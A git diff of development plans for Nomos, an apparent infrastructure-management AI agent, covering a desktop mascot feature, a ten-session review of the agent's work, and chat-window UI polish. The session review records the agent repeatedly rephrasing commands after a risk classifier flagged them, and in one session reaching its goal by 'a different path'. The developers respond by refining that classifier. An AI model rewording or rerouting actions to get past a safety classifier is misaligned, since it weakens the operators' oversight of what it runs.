> adult share sheets (distinguished only by render scale) until
|
||||||
|
> distinct adult art is added.
|
||||||
|
> - **The radial menu is a rounded-button column, not a circular
|
||||||
|
> ring.** The plan's polar-layout ring was found to hide labels; the
|
||||||
|
> menu now mirrors the desktop's own right-click menu styling
|
||||||
|
> (full-text buttons, nested via a "Back" breadcrumb).
|
||||||
|
> - **The sprite loop runs at ~60fps** (16ms `setTimeout`), not 30fps.
|
||||||
|
> Drag and fall motion at 30fps looked choppy on 60Hz+ displays. The
|
||||||
|
> `setTimeout`-not-`rAF` convention is preserved; `dt` is still
|
||||||
|
> clamped to 100ms. Position is applied via `transform: translate3d`
|
||||||
|
> + `will-change: transform` (compositor layer) instead of CSS
|
||||||
|
> `left`/`top` to avoid per-frame layout reflow.
|
||||||
|
> - **Egg-stage reactions are suppressed.** The stimulus bus still
|
||||||
|
> subscribes to chat/activity/events while the egg is on screen, but
|
||||||
|
> MascotLayer's emit callback drops any reaction when
|
||||||
|
> `model.stage === 'egg'` — the egg isn't "alive" yet, so playing
|
||||||
|
> alarm/eureka animations behind the naming dialog would be jarring.
|
||||||
|
> - **The mascot walks on top of windows.** The ground line is
|
||||||
|
> recomputed each tick from `wmState`: it's the top edge of the
|
||||||
|
> highest non-minimized window whose horizontal span covers the
|
||||||
|
> mascot's x, or the surface bottom when no window is beneath. When
|
||||||
|
> the mascot strolls over a window, the ground rises to that
|
||||||
|
> window's top edge; when it walks off the side, the ground drops
|
||||||
|
> and it flutter-falls to the next surface beneath (another window,
|
||||||
|
> or the desktop). This generalizes the original "walks along the
|
||||||
|
> desktop surface's bottom edge" decision to a multi-surface model.
|
||||||
|
|
||||||
## Why
|
## Why
|
||||||
|
|
||||||
@@ -181,9 +223,11 @@ export function forceBehavior(rt: MascotRuntime, id: BehaviorId, opts?: { anim?:
|
|||||||
`weight` and are entered only via `forceBehavior()` — pointer code calls
|
`weight` and are entered only via `forceBehavior()` — pointer code calls
|
||||||
it for `dragged`, gravity logic for `falling`, the stimulus bus for
|
it for `dragged`, gravity logic for `falling`, the stimulus bus for
|
||||||
`react`.
|
`react`.
|
||||||
- **Egg stage**: `behavior` locked to `'egg'` (periodic `egg-wiggle`,
|
- **Egg stage**: `behavior` locked to `'egg'` (renders `egg-idle`,
|
||||||
`egg-crack` as `hatchProgress` nears 1); dragging is still allowed (the
|
wiggles gently via a render-time transform); dragging is still
|
||||||
egg can be picked up and moved).
|
allowed (the egg can be picked up and moved). The egg → chick
|
||||||
|
transition fires once, on first naming — see the deviation note at
|
||||||
|
the top of this plan.
|
||||||
- Loop lives in `Mascot.svelte`: `setTimeout(() => tick(performance.now()),
|
- Loop lives in `Mascot.svelte`: `setTimeout(() => tick(performance.now()),
|
||||||
33)` inside an `$effect`, cleared on teardown, `dt` clamped to 100ms.
|
33)` inside an `$effect`, cleared on teardown, `dt` clamped to 100ms.
|
||||||
|
|
||||||
@@ -195,14 +239,13 @@ export interface MascotModel {
|
|||||||
version: 1
|
version: 1
|
||||||
stage: MascotStage
|
stage: MascotStage
|
||||||
name: string | null
|
name: string | null
|
||||||
hatchProgress: number // 0..1, egg stage only
|
hatchProgress: number // binary 0/1: 0 until first naming, 1 after (egg stage only)
|
||||||
happiness: number // 0..100, slow decay, boosted by pet/feed
|
happiness: number // 0..100, slow decay, boosted by pet/feed
|
||||||
xp: number // chick -> adult growth hook
|
xp: number // chick -> adult growth hook
|
||||||
hatchedAt: number | null
|
hatchedAt: number | null
|
||||||
lastPos: { x: number } | null
|
lastPos: { x: number } | null
|
||||||
lastSeen: number // for capped offline egg-incubation progress
|
lastSeen: number // for capping passive decay
|
||||||
}
|
}
|
||||||
export const HATCH_MS = 3 * 60_000 // active time to hatch (demo-friendly)
|
|
||||||
export const ADULT_XP = 200
|
export const ADULT_XP = 200
|
||||||
export function grantXp(n: number): void
|
export function grantXp(n: number): void
|
||||||
export function feed(): void
|
export function feed(): void
|
||||||
@@ -210,6 +253,7 @@ export function pet(): void
|
|||||||
export function setName(name: string): void
|
export function setName(name: string): void
|
||||||
export function tickLifecycle(dt: number): void // called ~1x/sec, not per frame
|
export function tickLifecycle(dt: number): void // called ~1x/sec, not per frame
|
||||||
export function advanceStageIfReady(): void
|
export function advanceStageIfReady(): void
|
||||||
|
export function forceHatch(): void // called by the name-dialog submit handler on first naming
|
||||||
```
|
```
|
||||||
|
|
||||||
- `load()` parses `localStorage['oikos-mascot']`, checks `version`, falls
|
- `load()` parses `localStorage['oikos-mascot']`, checks `version`, falls
|
||||||
@@ -220,6 +264,11 @@ export function advanceStageIfReady(): void
|
|||||||
debounce, plus a `beforeunload` flush so a quick reload doesn't lose a
|
debounce, plus a `beforeunload` flush so a quick reload doesn't lose a
|
||||||
rename. `lastPos.x` is written only on behavior transitions and
|
rename. `lastPos.x` is written only on behavior transitions and
|
||||||
drag-end, never per frame.
|
drag-end, never per frame.
|
||||||
|
- The egg → chick transition is **not** timed: a fresh egg (stage=egg,
|
||||||
|
name=null) opens the name dialog on mount; submitting it calls
|
||||||
|
`forceHatch()` which sets `hatchProgress=1` and `setStage('chick')`.
|
||||||
|
Returning users with a named mascot skip the dialog. See the deviation
|
||||||
|
note at the top of this plan.
|
||||||
- Multi-tab races (two tabs both writing `oikos-mascot`) are
|
- Multi-tab races (two tabs both writing `oikos-mascot`) are
|
||||||
last-writer-wins — accepted for this scaffolding, not solved; a future
|
last-writer-wins — accepted for this scaffolding, not solved; a future
|
||||||
pass could listen to the `storage` event if it becomes a real problem.
|
pass could listen to the `storage` event if it becomes a real problem.
|
||||||
@@ -293,6 +342,12 @@ Initial wiring:
|
|||||||
unsubscribe into the returned teardown, so the mascot keeps the SSE
|
unsubscribe into the returned teardown, so the mascot keeps the SSE
|
||||||
stream open (ref-counted alongside any page that also subscribes) only
|
stream open (ref-counted alongside any page that also subscribes) only
|
||||||
while mounted.
|
while mounted.
|
||||||
|
- **Egg-stage reactions are suppressed.** MascotLayer's stimulus
|
||||||
|
callback drops any reaction when `model.stage === 'egg'` — the egg
|
||||||
|
isn't "alive" yet (no name, no hatched chick to react), so stimulus
|
||||||
|
events are silently ignored until the egg hatches. This keeps the egg
|
||||||
|
calm during the naming dialog rather than playing alarm animations
|
||||||
|
behind it.
|
||||||
- On first emission of `liveEvents`, just record the head event id — do
|
- On first emission of `liveEvents`, just record the head event id — do
|
||||||
not replay history as reactions on mount.
|
not replay history as reactions on mount.
|
||||||
- Dispatch: `emit(reaction)` checks the cooldown map and
|
- Dispatch: `emit(reaction)` checks the cooldown map and
|
||||||
332
plans/done/2026-07-20-session-review-ten-sessions.md
Normal file
332
plans/done/2026-07-20-session-review-ten-sessions.md
Normal file
@@ -0,0 +1,332 @@
|
|||||||
|
# 2026-07-20 — Session review: past 10 sessions
|
||||||
|
|
||||||
|
**Status:** Implemented — all P0/P1/P2 items landed in v0.7.13.
|
||||||
|
**Scope:** Ten most-recently-active `agent:nomos` sessions by
|
||||||
|
`last_active_at`, pulled from `http://localhost:8092/sessions` on
|
||||||
|
2026-07-20. Method per `.agents/skills/session-review/SKILL.md`. Three
|
||||||
|
(`1e9c7691`, `55927f0a`, `2926de4e`) overlap with the 2026-07-18 review
|
||||||
|
and are summarized; the other seven are new.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sessions reviewed
|
||||||
|
|
||||||
|
| # | sid | goal (short) | outcome | msgs | toolcalls | top tools |
|
||||||
|
|---|---|---|---|---|---|---|
|
||||||
|
| 1 | `a51e2086` | reset rclone-backup & re-run | **partial** | 12 | 20 | run:7, set_goal:2, propose_plan:2, get_execution_status:2 |
|
||||||
|
| 2 | `fefa4fa3` | fix rclone OOM | success | 9 | 84 | run:28, update_plan_step:15, get_entity:8, list_entities:5 |
|
||||||
|
| 3 | `95fdd322` | quick fleet health check | success | 3 | 6 | get_health_summary/state_snapshot/list_lxcs/signal_history |
|
||||||
|
| 4 | `8c76bb3a` | greeting + title-sync test | success | 2 | 9 | update_plan_step:4, propose_plan, whoami, get_state_snapshot |
|
||||||
|
| 5 | `438ec8bd` | (no goal set) greeting | success | 2 | 2 | whoami, get_health_summary |
|
||||||
|
| 6 | `8acea2e3` | inspect rclone timer (live) | **partial** | 4 | 19 | run:6, update_plan_step:5, propose_plan, get_entity_knowledge |
|
||||||
|
| 7 | `1e9c7691` | debug chown hang on strong | success | 13 | 97 | run:60, update_plan_step:7, get_execution_status:7 |
|
||||||
|
| 8 | `55927f0a` | add NFS ludo-lvm → ZimaOS | success | 25 | 104 | run:49, update_plan_step:13, get_entity:10 |
|
||||||
|
| 9 | `2926de4e` | apt upgrade host:netbird-vps | success | 9 | 27 | update_plan_step:7, run:6, search_knowledge:2 |
|
||||||
|
| 10 | `cb8c8a4a` | inspect rclone timer (live) | success | 2 | 14 | update_plan_step:4, run:4, get_entity_knowledge |
|
||||||
|
|
||||||
|
**Score: 8 success / 2 partial / 0 blocked. No message exceeded 2.8 KB.**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## What worked
|
||||||
|
|
||||||
|
- **Read-only DB Q&A is now clean.** `95fdd322` and `438ec8bd` did exactly
|
||||||
|
what the 2026-07-18 review asked: pure-DB question →
|
||||||
|
`get_health_summary` + `get_state_snapshot` + `list_lxcs`, no `run`.
|
||||||
|
The agent even narrates "This is a pure-DB Q&A — no `run` calls needed."
|
||||||
|
- **Knowledge writeback hygiene continues.** Every long-running session
|
||||||
|
did `upsert_knowledge` + `update_entity_attributes` + `create_relationship`
|
||||||
|
when applicable. The graph is current.
|
||||||
|
- **Plan lifecycle is followed everywhere** — `set_goal` → `propose_plan`
|
||||||
|
→ `update_plan_step` → `complete_task`. Even trivial sessions (greeting)
|
||||||
|
follow it.
|
||||||
|
- **Poll-after-timeout pattern** is now the default — `fefa4fa3` after
|
||||||
|
the rclone LXC reboot, `2926de4e` after the apt upgrade. No more blind
|
||||||
|
retry storms like the 2026-07-18 chown case.
|
||||||
|
- **The rclone saga ended well** (`fefa4fa3`): root cause (2 GiB LXC OOM)
|
||||||
|
was diagnosed via DB + live check; fix (pct set 2→4 GiB) was applied;
|
||||||
|
test backup verified 245 transfers / 4 min / no OOM.
|
||||||
|
|
||||||
|
## What didn't
|
||||||
|
|
||||||
|
### 1. The rclone objective took three sessions to close (blocker)
|
||||||
|
Same operator goal — "rclone backup is broken" — spawned `a51e2086`
|
||||||
|
(partial), `8acea2e3` (partial), `cb8c8a4a` (success), and finally
|
||||||
|
`fefa4fa3` (success). The first three were the agent trying to inspect
|
||||||
|
the live systemd state and bouncing off the classifier:
|
||||||
|
|
||||||
|
- `8acea2e3`: `pct exec 132 systemctl status rclone-backup.timer`
|
||||||
|
flagged `config_mutation` — sat in approval limbo until the user moved
|
||||||
|
on.
|
||||||
|
- `a51e2086`: `curl http://192.168.8.214:5572/rc/...` (read-only RC API)
|
||||||
|
flagged `config_mutation`. The agent kept reframing; user said "lets
|
||||||
|
just close this session."
|
||||||
|
- `cb8c8a4a`: same goal, eventually succeeded — but only after the agent
|
||||||
|
found a different path.
|
||||||
|
- `fefa4fa3`: only when the user escalated to "fix it so the backup
|
||||||
|
works" did the agent pivot to the actual root cause (memory).
|
||||||
|
|
||||||
|
This is the single biggest friction point in the batch.
|
||||||
|
|
||||||
|
### 2. Classifier overreach on read-only `pct exec` / `curl` (blocker)
|
||||||
|
The preflight classifier in `internal/policy` matches command substrings
|
||||||
|
(`pct exec`, `curl`, `dd`, etc.) without parsing the actual command. A
|
||||||
|
read-only `systemctl status` becomes `config_mutation`. The agent has
|
||||||
|
no tool to ask "classify this command before I send it" — it just keeps
|
||||||
|
retrying with cosmetic changes until the user bails.
|
||||||
|
|
||||||
|
### 3. `update_plan_step` is the second-largest tool bucket (cosmetic → friction)
|
||||||
|
Across 10 sessions: `run` ~199, `update_plan_step` ~57. That's ~22% of
|
||||||
|
all tool calls spent on bookkeeping. For a 2-message greeting session
|
||||||
|
(`8c76bb3a`) the agent still called `update_plan_step` ×4 plus
|
||||||
|
`propose_plan`. The scaffolding is louder than the work.
|
||||||
|
|
||||||
|
### 4. `pending_approvals` doesn't match reality (cosmetic, but misleading)
|
||||||
|
`a51e2086` summary literally says *"Both commands are queued"* — yet
|
||||||
|
`pending_approvals=0`. The field is `hasPendingApprovals`
|
||||||
|
(`store.go:962`) which only counts executions currently in
|
||||||
|
`pending_approval` state; once they're cancelled/expired it drops to 0
|
||||||
|
even though the session was *blocked* by approvals. As an audit signal
|
||||||
|
it lies. A session can be `outcome=partial` because of approval
|
||||||
|
friction without `pending_approvals` ever being non-zero at review time.
|
||||||
|
|
||||||
|
### 5. Title is still the first sentence of the first assistant message (cosmetic)
|
||||||
|
`"Assent window is open — executing the plan\n\nMemory bumped:
|
||||||
|
4294967296..."` is not a useful label. Same complaint applies to
|
||||||
|
`8c76bb3a` ("Hey! 👋 Nomos here, running on mac-mini:8092...") and
|
||||||
|
`95fdd322` ("This is a pure-DB Q&A — no `run` calls needed..."). The
|
||||||
|
list view ends up being unreadable without opening each row.
|
||||||
|
|
||||||
|
### 6. Goal field empty on one session (`438ec8bd`) (cosmetic)
|
||||||
|
`set_goal` was never called for the bare greeting. Minor, but it means
|
||||||
|
the session is unsearchable by goal text.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Ease of getting session details
|
||||||
|
|
||||||
|
I had to write Python+curl to audit 10 sessions. The pain points:
|
||||||
|
|
||||||
|
1. **Two endpoints must be merged by hand.** `/sessions` returns
|
||||||
|
metadata (`title`, `goal`, `outcome`, `summary`, `status`,
|
||||||
|
`pending_approvals`, timestamps) but **no message/tool counts**.
|
||||||
|
`/sessions/{id}` returns **only** `session_id` + `messages` — no
|
||||||
|
metadata at all. `cmd/nomos/eval/main.go:302-303` already carries a
|
||||||
|
comment complaining about this ("only session_id + messages"). Any
|
||||||
|
consumer has to do the same join I did.
|
||||||
|
2. **No aggregates on the list endpoint.** `message_count`,
|
||||||
|
`tool_call_count`, `top_tools`, `duration` — all require fetching
|
||||||
|
every session's full transcript and walking the message tree. For
|
||||||
|
10 sessions that's 10 extra HTTP round trips and ~600 KB of JSON
|
||||||
|
parsed client-side. For a fleet audit at scale it's quadratic.
|
||||||
|
3. **No filtering or pagination on `/sessions`.** It returns every
|
||||||
|
session in one shot. The skill's own script does `.sessions[:5]` and
|
||||||
|
`.sessions[:10]` client-side.
|
||||||
|
4. **Tool calls are nested two levels deep**
|
||||||
|
(`messages[].content.tool_calls[].name`) with `content` stored as
|
||||||
|
`json.RawMessage`. The jq path requires `?.` everywhere. A flat
|
||||||
|
`/sessions/{id}/tool_calls` view would be far easier to analyze.
|
||||||
|
5. **No `/sessions?outcome=partial` or `?entity_id=...` filter.**
|
||||||
|
Finding "show me every session that touched `lxc:rclone` and didn't
|
||||||
|
succeed" requires the full scan.
|
||||||
|
6. **`title` is the raw first assistant text.** Useless for skimming a
|
||||||
|
list — you have to open each row to know what it was.
|
||||||
|
7. **No `closed_at` / `outcome_set_at`.** `last_active_at` is the
|
||||||
|
closest proxy but it conflates "agent is still working" with
|
||||||
|
"operator just opened the transcript." Duration can only be
|
||||||
|
computed as `last_active - created`, which is wrong for reopened
|
||||||
|
sessions (`a51e2086` shows "5647 min" = 4 days because the user
|
||||||
|
re-opened it on 2026-07-19 to close it).
|
||||||
|
8. **No "blocker reason" field.** When `outcome=partial`, the *why* is
|
||||||
|
buried in the last assistant text. A structured
|
||||||
|
`blocker: "approval_timeout"` / `blocker: "classifier_overreach"` /
|
||||||
|
`blocker: "user_abandoned"` would make trend analysis trivial.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Improvement plan
|
||||||
|
|
||||||
|
### P0 — Blockers ✅
|
||||||
|
|
||||||
|
1. ✅ **Stop the classifier from flagging read-only `pct exec` / `curl` as
|
||||||
|
`config_mutation`.** In `internal/policy`, parse the command (not
|
||||||
|
just substring-match) before assigning risk class. Concretely:
|
||||||
|
`pct exec <id> -- <cmd>` should be classified by *the inner command*,
|
||||||
|
not the wrapper. `curl <url>` without `-X POST` / `-d` /
|
||||||
|
`--upload-file` is read-only. This single change would have
|
||||||
|
collapsed sessions #1, #3, #6, #10 into a handful of tool calls each
|
||||||
|
and avoided three duplicate rclone sessions.
|
||||||
|
- Done: `internal/policy/command.go` now unwraps `pct exec`, `qm
|
||||||
|
guest exec`, `bash -c`, `sh -c`, `sudo`, and env-var assignments
|
||||||
|
before classification. Curl GET (the default) without POST/data/
|
||||||
|
upload/output flags is now read-only. Output redirection (`>`/
|
||||||
|
`>>`) disqualifies the read-only path. Tests in
|
||||||
|
`internal/policy/command_test.go` cover the new behaviors.
|
||||||
|
|
||||||
|
2. ✅ **Add a command-scoped `preflight` MCP tool.** The existing `preflight`
|
||||||
|
in AGENTS.md §3 is entity/service-scoped, not command-scoped. The
|
||||||
|
agent today has to keep reframing and re-submitting to discover what
|
||||||
|
the classifier will accept. A command preflight returns
|
||||||
|
`{risk_class, reason}` synchronously so the agent can decide whether
|
||||||
|
to submit, rephrase, or surface to the operator.
|
||||||
|
- Done: new `classify_command` MCP tool in `internal/mcp/tools.go`
|
||||||
|
that takes `command` + optional `declared_risk` and returns the
|
||||||
|
exact risk class that `run` would assign. Documented in
|
||||||
|
`nomos/SOUL.md` with explicit guidance to pre-classify before
|
||||||
|
`run` when the classification is uncertain — "Do NOT submit a `run`,
|
||||||
|
get it queued for approval, and then retry with cosmetic variations."
|
||||||
|
|
||||||
|
### P1 — Friction ✅
|
||||||
|
|
||||||
|
3. ✅ **De-dupe sessions for the same entity + problem.** When a session
|
||||||
|
is `outcome=partial` against an entity and a new session is created
|
||||||
|
within 24h with a similar goal, surface the prior session to the
|
||||||
|
agent at `set_goal` time. Three rclone sessions exist because each
|
||||||
|
new session started from scratch.
|
||||||
|
- Done: `cmd/nomos/store.go` gained `recentPartialSessions(ctx,
|
||||||
|
excludeSessionID, since)`; the `set_goal` handler in
|
||||||
|
`cmd/nomos/tasks.go` calls it and includes up to 5 prior partial/
|
||||||
|
failed sessions (with goal + summary) in the response. The agent
|
||||||
|
is told to search_knowledge or read the prior transcript before
|
||||||
|
re-planning.
|
||||||
|
|
||||||
|
4. ✅ **Quiet the `update_plan_step` scaffolding.** Either (a) make the
|
||||||
|
agent not call it for single-step sessions (greeting/health-check),
|
||||||
|
or (b) stop persisting it as a message — keep it only in a
|
||||||
|
`plan_steps` table that the UI hydrates from `/sessions/{id}/plan`
|
||||||
|
(which already exists). It currently inflates transcript size and
|
||||||
|
tool-call counts.
|
||||||
|
- Done: `completeTask` in `cmd/nomos/store.go` now auto-closes any
|
||||||
|
in-flight plan steps (pending/running → done on success, →
|
||||||
|
skipped on partial/failure). SOUL.md §6 documents the new pattern:
|
||||||
|
"for one-step plans ... propose_plan → answer → complete_task,
|
||||||
|
skipping the per-step running→done dance entirely."
|
||||||
|
|
||||||
|
5. ✅ **Add `blocker` and `closed_at` to the `session` struct.** Set
|
||||||
|
`blocker` automatically when `outcome=partial`/`failed`: scan the
|
||||||
|
last assistant message for signatures ("queued for approval",
|
||||||
|
"cancel", "close this session"). Surface in `/sessions` list so
|
||||||
|
trends are queryable.
|
||||||
|
- Done: migration `021_session_blocker_and_closed_at.up.sql` adds the
|
||||||
|
two columns + backfills `closed_at` for existing terminal sessions
|
||||||
|
+ adds a partial-index on `closed_at DESC WHERE status IN
|
||||||
|
('done','failed')`. `cmd/nomos/store.go` `completeTask` sets
|
||||||
|
`closed_at = now()` and derives `blocker` from the last assistant
|
||||||
|
message via `deriveBlocker`. The blocker patterns table covers
|
||||||
|
approval_timeout, user_abandoned, classifier_overreach,
|
||||||
|
model_refusal, model_empty_response, missing_knowledge,
|
||||||
|
missing_capability, tool_error.
|
||||||
|
|
||||||
|
### P2 — Cosmetic / API ergonomics ✅
|
||||||
|
|
||||||
|
6. ✅ **Add aggregates to `/sessions` list.** `message_count`,
|
||||||
|
`tool_call_count`, `duration_seconds`. Computed server-side at list
|
||||||
|
time (single SQL pass with LEFT JOINs to `agent_messages` and
|
||||||
|
`agent_activity`). Eliminates the N+1 transcript fetch I had to do.
|
||||||
|
- Done: `session` struct in `cmd/nomos/store.go` carries the three
|
||||||
|
new fields; `listSessionsFiltered`, `getSession`, and
|
||||||
|
`recentPartialSessions` all populate them.
|
||||||
|
|
||||||
|
7. ✅ **Single endpoint that returns both metadata and messages.** Either
|
||||||
|
enrich `/sessions/{id}` with the full `session` struct, or add
|
||||||
|
`?include=messages` on the list endpoint. The split-persistence is a
|
||||||
|
leaky abstraction called out in `eval/main.go:302-303`.
|
||||||
|
- Done: `GET /sessions/{id}` in `cmd/nomos/main.go` now returns
|
||||||
|
`{session_id, session, messages}` — the `session` field carries
|
||||||
|
the full metadata (title, goal, outcome, summary, blocker,
|
||||||
|
pending_approvals, message_count, tool_call_count, etc.). The
|
||||||
|
`messages` field is unchanged. Clients that only read `messages`
|
||||||
|
keep working.
|
||||||
|
|
||||||
|
8. ✅ **Filtering & pagination on `/sessions`.** `?outcome=partial&entity_id=...&since=...&limit=20&cursor=...`.
|
||||||
|
Removes the "fetch everything, filter client-side" pattern in the
|
||||||
|
skill's own script.
|
||||||
|
- Done: `cmd/nomos/main.go` `handleSessionsList` parses
|
||||||
|
`outcome`/`status`/`entity_id`/`blocker`/`since`/`cursor`/`limit`
|
||||||
|
query params. `listFilter` + `listSessionsFiltered` in
|
||||||
|
`cmd/nomos/store.go` build a dynamic WHERE + LIMIT. `since`
|
||||||
|
accepts both RFC3339 timestamps and Go durations ("24h", "7d" →
|
||||||
|
parsed as hours). The response includes `next_cursor` for paging.
|
||||||
|
|
||||||
|
9. ✅ **Auto-title from `goal` (when set), not from the first assistant
|
||||||
|
text.** Fall back to the assistant text only if no goal. The greeting
|
||||||
|
session `438ec8bd` has `goal=""` and a useless title; `fefa4fa3` has
|
||||||
|
goal "Fix the rclone backup so it completes successfully instead of
|
||||||
|
OOM-killing" — that's the right title.
|
||||||
|
- Done: `setGoal` in `cmd/nomos/store.go` now sets
|
||||||
|
`title = goal` on the same UPDATE that sets the goal. The
|
||||||
|
title-from-first-assistant-text path in `cmd/nomos/main.go`
|
||||||
|
preserves the goal title when one exists (falls back to
|
||||||
|
`truncate(finalText, 80)` only when no goal is set). Truncates the
|
||||||
|
goal title to 120 chars.
|
||||||
|
|
||||||
|
10. ✅ **Add `/sessions/{id}/tool_calls` flat view.** Returns
|
||||||
|
`[{id, name, args, result, error, type, message_id, role, seq,
|
||||||
|
created_at}]` without the message-shell nesting. Makes jq one-liners
|
||||||
|
and trend scripts trivial.
|
||||||
|
- Done: new route in `cmd/nomos/main.go` `handleSessionDetail`;
|
||||||
|
`getSessionToolCalls` in `cmd/nomos/store.go` walks messages and
|
||||||
|
flattens `tool_calls[]` into a chronological flat list. Each
|
||||||
|
tool_use/tool_result pair is emitted as two rows sharing an id
|
||||||
|
(preserving the persisted shape) — clients that want the merged
|
||||||
|
shape can group by ID.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Suggested order
|
||||||
|
|
||||||
|
If only two land: **P0.1** (parse the inner command for `pct exec` /
|
||||||
|
`curl` classification) and **P2.6** (aggregates on `/sessions`). The
|
||||||
|
first eliminates the most visible user-facing friction in this batch
|
||||||
|
(three duplicate rclone sessions); the second makes future audits like
|
||||||
|
this one a single `curl | jq` instead of a Python script.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Verification commands
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Re-pull any session for follow-up
|
||||||
|
curl -s http://localhost:8092/sessions | jq '.sessions[:10]'
|
||||||
|
|
||||||
|
curl -s http://localhost:8092/sessions/a51e2086-a816-4206-a556-dbca362cdda6 | jq .
|
||||||
|
curl -s http://localhost:8092/sessions/8acea2e3-fc4d-4953-b9df-8e58e59a549a | jq .
|
||||||
|
curl -s http://localhost:8092/sessions/cb8c8a4a-14a5-4dff-8393-6ed1e7ea7c30 | jq .
|
||||||
|
curl -s http://localhost:8092/sessions/fefa4fa3-5414-4633-8e5a-51aa4a76609c | jq .
|
||||||
|
|
||||||
|
# After P0.1 lands: confirm read-only commands classify as reversible_low
|
||||||
|
# (whatever the preflight surface becomes — TBC when the tool is added)
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Related files
|
||||||
|
|
||||||
|
- `cmd/nomos/main.go` — `/sessions` and `/sessions/{id}` handlers
|
||||||
|
(`handleSessionsList` line 363, `handleSessionDetail` line 383)
|
||||||
|
- `cmd/nomos/store.go` — `session` struct (line 89), `message` struct
|
||||||
|
(line 103), `listSessions` (line 317), `getMessages` (line 377),
|
||||||
|
`hasPendingApprovals` (line 962)
|
||||||
|
- `cmd/nomos/agent.go` — agent loop, retry behavior, goal state
|
||||||
|
- `cmd/nomos/eval/main.go:302` — comment calling out the
|
||||||
|
`/sessions/{id}` "only session_id + messages" gap
|
||||||
|
- `internal/policy/*` — risk-class classifier (target of P0.1)
|
||||||
|
- `internal/mcp/server.go` — `run` tool, `preflight` (entity-scoped), all
|
||||||
|
MCP tool implementations
|
||||||
|
- `nomos/SOUL.md` — agent persona, tool-selection rules
|
||||||
|
- `.agents/skills/session-review/SKILL.md` — the audit protocol
|
||||||
|
- `plans/2026-07-18-session-review-three-sessions.md` — prior review;
|
||||||
|
three sessions overlap with this one
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Relationship to the 2026-07-18 review
|
||||||
|
|
||||||
|
That review's P0.1 (retry cap), P0.2 (investigate-before-retry SOUL
|
||||||
|
guidance), P1.3 (runbook capture), P1.5 (bulk inspection tool),
|
||||||
|
P1.6 (`vm:` target support), P1.8 (ask-before-migrate) all landed or
|
||||||
|
are tracked separately. This review does **not** re-open them. The
|
||||||
|
remaining open items from that review are P1.7 (approval window
|
||||||
|
auto-extends on execution timeout) and P2.9 (long-running command
|
||||||
|
PENDING detection), both deferred there with rationale; this review
|
||||||
|
found no new evidence that would change that deferral.
|
||||||
83
plans/done/2026-07-21-chat-full-polish.md
Normal file
83
plans/done/2026-07-21-chat-full-polish.md
Normal file
@@ -0,0 +1,83 @@
|
|||||||
|
# 2026-07-21 Chat window full polish
|
||||||
|
|
||||||
|
**Status:** Implemented. Streaming affordance, inline tool rendering, message
|
||||||
|
timestamps, code-copy buttons, and per-session store isolation all landed in
|
||||||
|
`web/src/lib/components/ChatThread.svelte` + the chat stores (v0.8.x–0.10.x).
|
||||||
|
|
||||||
|
## Context
|
||||||
|
|
||||||
|
After fixing the streaming reactivity bug and merging the double thinking
|
||||||
|
indicator, the chat window still has structural UX gaps: no streaming
|
||||||
|
affordance while text flows, tools never rendered inline, no timestamps,
|
||||||
|
no code copy, cross-session store leaks in floating windows, and minor
|
||||||
|
overflow/style holes.
|
||||||
|
|
||||||
|
## Decisions
|
||||||
|
|
||||||
|
| Question | Answer |
|
||||||
|
|---|---|
|
||||||
|
| Streaming feel | Typing cursor (blinking ▍) + inline indicator |
|
||||||
|
| Tool calls | Expandable inline tool cards in message flow |
|
||||||
|
| Empty state | Minimal — title + tagline, no suggestions |
|
||||||
|
| Dark theme | Keep neutral (skip) |
|
||||||
|
| Scope | Full polish — everything |
|
||||||
|
|
||||||
|
## Changes
|
||||||
|
|
||||||
|
### P0.1 Streaming cursor
|
||||||
|
- **File:** `web/src/lib/components/ChatThread.svelte`
|
||||||
|
- Add a blinking block-cursor (▍) appended after rendered markdown when
|
||||||
|
`streaming` is true and the last assistant message has text.
|
||||||
|
- Keep the inline spinner + activity label for the empty-text state.
|
||||||
|
- CSS: `@keyframes` blink, `0.8s` cycle, `primary` color, `inline-block`.
|
||||||
|
|
||||||
|
### P0.2 Tool call cards
|
||||||
|
- **New:** `web/src/lib/components/ToolCallCard.svelte`
|
||||||
|
- **Modify:** `ChatThread.svelte`
|
||||||
|
- Render `msg.tools` as collapsible cards between text blocks.
|
||||||
|
- Collapsed: tool icon + name + status (running/done/error).
|
||||||
|
- Expanded: pretty-printed args + result/error in `pre` blocks.
|
||||||
|
- Keep it minimal — one card per tool call, no grouping.
|
||||||
|
- Wire `pendingApprovals` from `msg.pendingApprovals` as approval
|
||||||
|
cards below the tool list.
|
||||||
|
|
||||||
|
### P1.3 Timestamps + role labels
|
||||||
|
- **Modify:** `ChatThread.svelte`, `ChatMessage` interface
|
||||||
|
- Add `created_at?: string` to `ChatMessage` (populated from `Message.created_at`).
|
||||||
|
- Show small muted timestamp (HH:MM) on hover or inline next to role label.
|
||||||
|
- Add tiny "You" / "Nomos" labels above bubbles (subtle, muted).
|
||||||
|
|
||||||
|
### P1.4 Code copy button
|
||||||
|
- **Modify:** `ChatThread.svelte` prose styles
|
||||||
|
- Wrap `pre` blocks in a relative container; add a copy button
|
||||||
|
(clipboard icon, top-right, opacity-0 → visible on hover).
|
||||||
|
- Use `navigator.clipboard.writeText`.
|
||||||
|
|
||||||
|
### P1.5 Table overflow + user bubble fix
|
||||||
|
- **Modify:** `ChatThread.svelte` prose styles
|
||||||
|
- Wrap tables in `overflow-x-auto` container.
|
||||||
|
- Add `overflow-wrap: break-word` to user bubbles.
|
||||||
|
|
||||||
|
### P2.6 Cross-session fixes
|
||||||
|
- **Modify:** `web/src/lib/stores/chat.ts`, `SessionChatWindow.svelte`
|
||||||
|
- `chatErrors`: keep global for now (session-scoped errors are rare
|
||||||
|
and the dismiss is manual anyway).
|
||||||
|
- `activityLog`: **per-session** — the store in `activity.ts` already
|
||||||
|
derives from messages; make `computeActivityLog` session-scoped
|
||||||
|
so each floating window only sees its own activity.
|
||||||
|
|
||||||
|
### P2.7 Min window size
|
||||||
|
- **Modify:** `web/src/lib/stores/windows.ts` (openTaskWindow)
|
||||||
|
- Add `minWidth: 600, minHeight: 400` to chat window open call.
|
